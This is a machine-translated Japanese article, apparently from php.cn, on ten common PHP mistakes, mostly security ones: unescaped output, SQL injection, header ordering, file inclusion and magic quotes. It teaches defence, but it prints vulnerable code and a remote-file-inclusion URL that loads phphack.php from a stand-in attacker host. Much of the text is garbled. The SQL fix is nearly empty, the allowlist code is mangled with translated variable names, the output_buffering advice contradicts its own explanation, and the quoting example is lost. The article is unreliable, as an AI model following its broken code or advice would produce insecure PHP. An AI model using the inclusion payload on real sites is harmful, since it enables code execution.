PHP で安全なコードを記述する際のよくある間違いのまとめ

WBOY
リリース: 2016-06-13 12:16:09
オリジナル
781 人が閲覧しました

1. HTML エンティティを復号化しない
基本的な常識: すべての信頼できない入力 (特にユーザーがフォームから送信したデータ) は出力前に復号化する必要があります。
echo $_GET['usename'] ;
この例は次のように出力します:
<script>/*管理者パスワードを変更するか、Cookie を設定するスクリプト*/</script>ユーザーが正しく入力していることを確認しない限り、明らかなセキュリティ リスクがあります。
修正方法:
関数 htmlspecialchars およびを使用して、「<」、「>」、「and」などを正しい HTML 表現 (<、>'、および ") に変換する必要があります。 htmlentities() これはまさにその動作です。
echo htmlspecialchars($_GET['username'], ENT_QUOTES);

2. SQL 入力を無視しません。
私は以前、SQL インジェクションを防ぐ最も簡単な方法 (php mysql 内) という記事でこの問題について説明し、ある人が php.ini で magic_quotes を On に設定しているので、そうしないでくださいと言いました。この問題は心配ですが、すべての入力が $_GET、$_POST、または $_COOKIE から取得されるわけではありません! 修正方法:
SQL インジェクションを防ぐ最も簡単な方法 (php mysql (中) を使用することをお勧めします。 mysql_real_escape_string() 関数
正しいアプローチ:



コードをコピーします

コードは次のとおりです:

mysql_query ( $sql);

?>



3. HTTP ヘッダー関連関数の誤った使用: header()、session_start()

この警告に遭遇したことがありますか?」 警告: ヘッダー情報を追加できません - ヘッダーはすでに送信されました [....]

Web ページがサーバーからダウンロードされるたびに、サーバーの出力は 2 つの部分に分割されます: ヘッダーと本文。
ヘッダーには、Cookie などの非視覚的データが含まれています。常に頭が最初に到着します。テキスト部分には、ビジュアル HTML、画像、その他のデータが含まれます。 output_buffering が Off に設定されている場合、出力がある前にすべての HTTP ヘッダー関連関数を呼び出す必要があります。問題は、ある環境で開発し、別の環境にデプロイすると、output_buffering 設定が異なる可能性があることです。その結果、リダイレクトが停止し、Cookie とセッションが正しく設定されませんでした...
修正方法:
出力する前に必ず http ヘッダー関連関数を呼び出し、output_buffering = Off に設定してください


4. ファイルに安全でないデータを使用する必要があります

繰り返しになりますが、自分で明示的に宣言されていないデータは信頼しないでください。 $_GET、$_POST、または $_COOKIE から取得したファイルを含めたり、要求したりしないでください。
例:

コードをコピー

コードは次のとおりです。

index.php / /ヘッダー、設定、データベース接続などを含む include($_GET['filename'])

//フッターを含む

?>これで、あらゆるハッカー http://www.yourdomain.com/index.php?filename=anyfile.txt
を使用して機密情報を取得したり、PHP スクリプトを実行したりできるようになりました。
allow_url_fopen=On の場合、あなたは死んでいます:
次の入力を試してください:
http://www.yourdomain.com/index.php?filename=http://domain.com/phphack.php
これで、あなたの Web ページには http://www.youaredoomed.com/phphack.php の出力が含まれ、ハッカーはスパムを送信したり、パスワードを変更したり、ファイルを削除したりすることができます。想像できるものなら何でも。
修正方法:
どのファイルを include ディレクティブまたは require ディレクティブに含めることができるかを自分で制御する必要があります。

これは簡単ではありますが、包括的な解決策ではありません:



コードをコピーします

コードは次のとおりです。


< ?
// 許可されたファイルのみを含めます。

$allowedFiles = array('file1.txt','file2.txt','file3.txt'); $_GET ['ファイル名'],$allowedFiles)) { include($_GET['ファイル名']) } else{ exit('許可されていません'); }

?>



5. 文法エラー
文法エラーには、非常に一般的なため、ここにリストする必要があるすべての語彙および文法エラーが含まれます。解決策は、PHP の構文を注意深く研究し、括弧、中括弧、セミコロン、または引用符を見逃さないように注意することです。また、メモ帳は使用せずに、適切なエディタを見つけてください。
6. オブジェクト指向はほとんど、またはまったく使用されていません
多くのプロジェクトでは PHP のオブジェクト指向テクノロジが使用されていないため、コードのメンテナンスに非常に時間と労力がかかります。 PHP はますます多くのオブジェクト指向テクノロジをサポートしており、ますます改良されています。オブジェクト指向テクノロジを使用しない理由はありません。
7. フレームワークを使用しない
PHP プロジェクトの 95% は、作成、編集、リスト、削除という同じ 4 つのことを実行しています。この 4 つの作業を支援する MVC フレームワークが数多くあります。もの、なぜそれを使わないのでしょうか?
8. PHP にすでにある関数がわからない
PHP のコアには多くの関数が含まれています。多くのプログラマーは何度も車輪の再発明を繰り返します。多くの時間が無駄になりました。コーディングする前に PHP mamual を検索して Google で検索すると新しい発見があるかもしれません。 PHP の exec() は、cmd シェルを実行し、実行結果の最後の行を文字列の形式で返すことができる強力な関数です。セキュリティを考慮して、EscapeShellCmd()
9. 古いバージョンの PHP を使用する
多くのプログラマーは依然として PHP4 の可能性を十分に活用できず、PHP4 を使用しています。いくつかのセキュリティ問題には危険が隠されています。 PHP5 に切り替えるには、それほど手間はかかりません。ほとんどの PHP4 プログラムは、ステートメントをほとんど変更せずに、またはまったく変更せずに PHP5 に移行できます。 http://www.nexen.net の調査によると、PHP サーバーの 12% のみが PHP5 を使用しているため、PHP 開発者の 88% は依然として PHP4 を使用しています。
10. 引用符を 2 回変更します。 >
Web ページで「または」が表示されるのを見たことはありますか? これは通常、開発者の環境では magic_quotes がオフに設定されており、デプロイされたサーバーでは magic_quotes =on に設定されているためです。PHP は GET、POST、COOKIE で使用されます。データに対して addlashes() を繰り返し実行します。
元のテキスト:
文字列です

マジック クオート:
文字列です

HTML 出力:
文字列です

別の状況として、ユーザーが最初に間違ったログイン情報を入力し、サーバーが誤った入力を検出した後、同じフォームが出力され、ユーザーは再度入力を求められ、ユーザーの意味を変えるには 2 回入力してください!

ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
最新の問題
人気のおすすめ
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート